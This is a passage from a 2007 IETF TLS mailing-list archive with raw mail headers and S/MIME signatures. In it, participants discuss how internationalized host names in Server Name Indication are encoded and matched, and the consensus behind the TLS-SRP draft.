has host names in it. And so on. >Which part of the system is responsible for making sure that the host name and >the server certificate match? The TLS implementation. --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 05:03:37 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Zcc-00064k-QS; Tue, 19 Jun 2007 05:03:34 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Zcc-00064S-6p for tls@lists.ietf.org; Tue, 19 Jun 2007 05:03:34 -0400 Received: from vinyl.extundo.com ([83.241.192.59]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0ZcH-0006Id-4B for tls@lists.ietf.org; Tue, 19 Jun 2007 05:03:34 -0400 Received: from mocca.josefsson.org (38.177.241.83.in-addr.dgcsystems.net [83.241.177.38]) (authenticated bits=0) by vinyl.extundo.com (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l5J92qHv025150 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 19 Jun 2007 11:02:54 +0200 From: Simon Josefsson To: Paul Hoffman References: <200706130441.01903.bradh@kdelabs.net> <200706190935.09520.bradh@kdelabs.net> <200706191027.34934.bradh@kdelabs.net> OpenPGP: id=B565716F; url=http://josefsson.org/key.txt X-Hashcash: 1:22:070619:tls@lists.ietf.org::sMz+cYU+p0ocfnD+:0ppE X-Hashcash: 1:22:070619:bradh@kdelabs.net::cBng/O0k9MUi1Y+Z:GU1p X-Hashcash: 1:22:070619:paul.hoffman@vpnc.org::nQjC2mLFqZTwCWeo:HxGj Date: Tue, 19 Jun 2007 11:02:52 +0200 In-Reply-To: (Paul Hoffman's message of "Mon\, 18 Jun 2007 17\:39\:20 -0700") Message-ID: <87wsy0qptv.fsf@mocca.josefsson.org> User-Agent: Gnus/5.110007 (No Gnus v0.7) Emacs/22.0.95 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Cc: tls@lists.ietf.org Subject: [TLS] Re: Encoding of data for Server Name Indication? X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Paul Hoffman writes: >>Which part of the system is responsible for making sure that the host name and >>the server certificate match? > > The TLS implementation. I'd be happy to change my implementation if there is consensus about what RFC 4366 is intended to imply, or if an updated document is published. I haven't understood yet whether there is consensus about what the text in RFC 4366 really should imply in practice? One approach is for the server to apply ToASCII on each label of both what's in the certificate and what's in the SNI, concatenate them using ASCII '.' and compare the result using strcmp() (in the C locale..). /Simon _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 05:58:01 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0aTE-0007sw-1G; Tue, 19 Jun 2007 05:57:56 -0400 Received: from [10.90.34.44] (helo=chiedprmail1.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0aTC-0007sr-Ou for tls@ietf.org; Tue, 19 Jun 2007 05:57:54 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by chiedprmail1.ietf.org with esmtp (Exim 4.43) id 1I0aTB-0001yE-8V for tls@ietf.org; Tue, 19 Jun 2007 05:57:54 -0400 Received: from esebh105.NOE.Nokia.com (esebh105.ntc.nokia.com [172.21.138.211]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l5J9vHQ4012239; Tue, 19 Jun 2007 12:57:23 +0300 Received: from esebh104.NOE.Nokia.com ([172.21.143.34]) by esebh105.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 19 Jun 2007 12:57:21 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh104.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 19 Jun 2007 12:57:21 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Encoding of data for Server Name Indication? Date: Tue, 19 Jun 2007 12:57:20 +0300 Message-ID: In-Reply-To: <4676B863.5080906@edelweb.fr> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Encoding of data for Server Name Indication? Thread-Index: AcexyYZ3sTrlJUAnSaKsP/oz523NiwAi42iw References: <200706130441.01903.bradh@kdelabs.net> <4676B863.5080906@edelweb.fr> From: To: , , X-OriginalArrivalTime: 19 Jun 2007 09:57:21.0508 (UTC) FILETIME=[3AB3DA40:01C7B258] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Peter Sylvester wrote: > our code in openssl leaves this to the application. > My code for apache does nothing. This seems to violate a MUST in RFC 4366, no matter which=20 way you interprete it. And re-reading RFC 3490, I'm starting to (partly) agree with Paul here: the requirement for the server does indeed refer to ToASCII, not ToUnicode (as I thought earlier). In other words: when the server compares server_name with something else, it MUST process it with the "conversion operation (with ToASCII)" from Section 4. It might also need to process the "something else" the same way (depending on where it came from);=20 and finally it does a case-insensitive ASCII comparison. But the result for the client seems to remain the same: it=20 can either send ToASCII-encoded name, or just Nameprep+UTF-8. Right? (But if the client also does comparisons with the name, the comparisons have to be done with ToASCII'd-forms.) Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 07:05:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0bWN-0004nG-OU; Tue, 19 Jun 2007 07:05:15 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0bWM-0004d5-Dq for tls@ietf.org; Tue, 19 Jun 2007 07:05:14 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0bWI-0007su-P4 for tls@ietf.org; Tue, 19 Jun 2007 07:05:14 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id 6C3D52B; Tue, 19 Jun 2007 13:05:09 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14950-08; Tue, 19 Jun 2007 13:05:06 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id D8E611E; Tue, 19 Jun 2007 13:05:06 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007061913050506:303749 ; Tue, 19 Jun 2007 13:05:05 +0200 Message-ID: <4677B7C9.2030800@edelweb.fr> Date: Tue, 19 Jun 2007 13:02:33 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: Pasi.Eronen@nokia.com Subject: Re: [TLS] Encoding of data for Server Name Indication? References: <200706130441.01903.bradh@kdelabs.net> <4676B863.5080906@edelweb.fr> In-Reply-To: X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/19/2007 01:05:05 PM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/19/2007 01:05:05 PM, Serialize complete at 06/19/2007 01:05:05 PM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 7da5a831c477fb6ef97f379a05fb683c Cc: tls@ietf.org, paul.hoffman@vpnc.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1122594672==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============1122594672== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms040602060408030503050909" This is a cryptographically signed message in MIME format. --------------ms040602060408030503050909 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Pasi.Eronen@nokia.com wrote: > Peter Sylvester wrote: > > >> our code in openssl leaves this to the application. >> My code for apache does nothing. >> > > This seems to violate a MUST in RFC 4366, no matter which > way you interprete it. > Probably, since I don't known whether the apache bases code for comparisons for server names do any kind of conversion. Probably apache needs a patch but not openssl. > And re-reading RFC 3490, I'm starting to (partly) agree with Paul > here: the requirement for the server does indeed refer to ToASCII, > not ToUnicode (as I thought earlier). > > In other words: when the server compares server_name with something > else, it MUST process it with the "conversion operation (with > ToASCII)" from Section 4. It might also need to process the > "something else" the same way (depending on where it came from); > and finally it does a case-insensitive ASCII comparison. > > But the result for the client seems to remain the same: it > can either send ToASCII-encoded name, or just Nameprep+UTF-8. > Right? > > (But if the client also does comparisons with the name, the > comparisons have to be done with ToASCII'd-forms.) > > Best regards, > Pasi > > --------------ms040602060408030503050909 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 d+BIv0MUuC6+k2yIIQKcLbDuuk8lLJmwWuYt1OLHEskZxOm7D7nRwe7ZNlTIZvR/VFWxlY18 k488tH9qcusIw8+7uXeHOZHyFUOHMINJZO9mq9HwGMC4v1xiPwoAJkzFtHf3D9VAholjhEFg d28aJSs6qN15PXDgDjptAl34eoUxggKuMIICqgIBATBlMFsxCzAJBgNVBAYTAkZSMRAwDgYD VQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNVBAMTF0VkZWxQ S0kgRWRlbFdlYiBQZXJzR0VOAgYKr4oygN4wCQYFKw4DAhoFAKCCAZ8wGAYJKoZIhvcNAQkD MQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDcwNjE5MTEwMjMzWjAjBgkqhkiG9w0B CQQxFgQUx/e+CcrA813DXqcuuDMZEet6/UMwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0D BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGARrQ2lBqvkwevai71 Zr+Mpb5pmbjOQ8rZa7CSdBGqnrjWXkiLi7hR40bSrH6Q3/RcYutWYA+yB+WyZvD++Y9auzxI N+f1hY1E5nQ+pFVhYa7D57RMKF4APvKbqal0tm8h73v2mcwlmR1SqyvoK8Qgx472LDlQfMGW 4gIXzlR1eugAAAAAAAA= --------------ms040602060408030503050909-- --===============1122594672== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============1122594672==-- From tls-bounces@lists.ietf.org Tue Jun 19 09:24:24 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0dgZ-0002X3-W5; Tue, 19 Jun 2007 09:23:55 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0dgY-0002Ww-Op; Tue, 19 Jun 2007 09:23:54 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0dgW-0000EC-Bf; Tue, 19 Jun 2007 09:23:54 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id BBFAE2C; Tue, 19 Jun 2007 15:23:49 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25869-06; Tue, 19 Jun 2007 15:23:47 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id 485F813; Tue, 19 Jun 2007 15:23:47 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007061915234557:304028 ; Tue, 19 Jun 2007 15:23:45 +0200 Message-ID: <4677D84A.4020609@edelweb.fr> Date: Tue, 19 Jun 2007 15:21:14 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: Pasi.Eronen@nokia.com Subject: Re: [TLS] Request to publish draft-ietf-tls-srp References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/19/2007 03:23:45 PM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/19/2007 03:23:46 PM, Serialize complete at 06/19/2007 03:23:46 PM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 22bbb45ef41b733eb2d03ee71ece8243 Cc: tim.polk@nist.gov, iesg-secretary@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1309882686==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============1309882686== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms020609040409080602030404" This is a cryptographically signed message in MIME format. --------------ms020609040409080602030404 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Pasi.Eronen@nokia.com wrote: > > (1.e) How solid is the WG consensus behind this document? Does it > represent the strong concurrence of a few individuals, with > others being silent, or does the WG as a whole understand and > agree with it? > > Given the amount of comments about technical details, I'd > say the interest is rather limited. > > The document is essentially stable since 3 years, before that there had been discussions among the implementors, and some important improvements. I don't claim that the existence of at least 4 different implementations which interoperated about 3 years ago is a sign of big interest. There have been critiques about the status of the document, in particular motivated by IMO irrelevant IPR issues. Or, at least that was the argument. When taking their comments as serious in the consensus process, did you assume that they have read the document and agree with the technical content? :-) regards Peter --------------ms020609040409080602030404 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIOpDCC BHIwggLfoAMCAQICBgqvijKA3jANBgkqhkiG9w0BAQUFADBbMQswCQYDVQQGEwJGUjEQMA4G A1UEChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVs UEtJIEVkZWxXZWIgUGVyc0dFTjAeFw0wNzAzMjYxMDM3MDNaFw0wOTA2MDMxMDM3MDNaMHAx CzAJBgNVBAYTAkZSMRAwDgYDVQQKDAdFZGVsV2ViMRgwFgYDVQQLDA9TZXJ2aWNlIEVkZWxQ S0kxNTAzBgNVBAMMLFBldGVyIFNZTFZFU1RFUiA8UGV0ZXIuU3lsdmVzdGVyQGVkZWx3ZWIu ZnI+MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDPB7ZSfmYsUuVIV0W2izxb1Zyvr6ZJ IjPiqRMs77dbEQhQ6FZhhUSuABxxc8NjZvyPMRo0uuT0iVpRDktb0fWPTx3m9qTfdqrhWg2c IOBKNbNQr8NogDJvG1AxRx4q9SXKZCVpZCoHu3fz2Rfji1kL7l597+7qBEsFd9IyvRaexQID AQABo4IBLjCCASowYgYDVR0RBFswWYEaUGV0ZXIuU3lsdmVzdGVyQGVkZWx3ZWIuZnKkOzA5 MQswCQYDVQQGEwJGUjEQMA4GA1UECgwHRWRlbFdlYjEYMBYGA1UEAwwPUGV0ZXIgU1lMVkVT VEVSMA4GA1UdDwEB/wQEAwIF4DAdBgNVHSUEFjAUBggrBgEFBQcDBAYIKwYBBQUHAwIwSgYD VR0fBEMwQTA/oD2gO4Y5aHR0cDovL2VkZWxwa2kuZWRlbHdlYi5mci9jcmwvRWRlbFBLSS1F ZGVsV2ViLVBlcnNHRU4uY3JsMB0GA1UdDgQWBBSZjq81LuJmsiiu1Yt/ezwCiUQSQTAfBgNV HSMEGDAWgBSe5Q/BFJVJHN1aXV6crs0Bby+UeTAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBBQUA A4IBfAAUq5MJ3gXhdKDpOm0ascDE9e1iMo0RQ24ujkc9IrFXhAJNS+3eNwcJEieU2vgZTsGb zKeBZom1zVOFoh73VIRP6T08j4dDlndpDYZbxD20KzFt9zX6gV8IgR2zkkZXLQRbLyW16kw8 oFe3s//p1csCkCPAlZv1rZQYR5Psm0A1aiOiuSHhWUmgfAJxmIgfbmKtS3WpsUZVBuLQpThN rWjLRAqJKYA++++qqo3ujqAAzJLe+MHrX5dai7+n6WBfV4qo1uDArR7XbmgVpV/EdPA75XRi XEedLgbFDawJ9nAMN6WfL/NG6GZkEa7mZ7sH/gG34y21nq4w4mAAxn9wz7mDKMsEbJMZ5VlJ TOp0g6TdYqGjNoc/rQg7pqjcRChVitwd1Rl8O31+bIdNSpv4UReNMDcffRQrt+pF1FxR4q6q M9YLJU8NThx/89Mf/WF7fzrgVlsNJ78D9nJu0EhKes/9EX2qpIcHUfk/izOj8lCc1ksFgXpd UEchE0DcMIIEcjCCAt+gAwIBAgIGCq+KMoDeMA0GCSqGSIb3DQEBBQUAMFsxCzAJBgNVBAYT AkZSMRAwDgYDVQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNV BAMTF0VkZWxQS0kgRWRlbFdlYiBQZXJzR0VOMB4XDTA3MDMyNjEwMzcwM1oXDTA5MDYwMzEw MzcwM1owcDELMAkGA1UEBhMCRlIxEDAOBgNVBAoMB0VkZWxXZWIxGDAWBgNVBAsMD1NlcnZp Y2UgRWRlbFBLSTE1MDMGA1UEAwwsUGV0ZXIgU1lMVkVTVEVSIDxQZXRlci5TeWx2ZXN0ZXJA ZWRlbHdlYi5mcj4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM8HtlJ+ZixS5UhXRbaL PFvVnK+vpkkiM+KpEyzvt1sRCFDoVmGFRK4AHHFzw2Nm/I8xGjS65PSJWlEOS1vR9Y9PHeb2 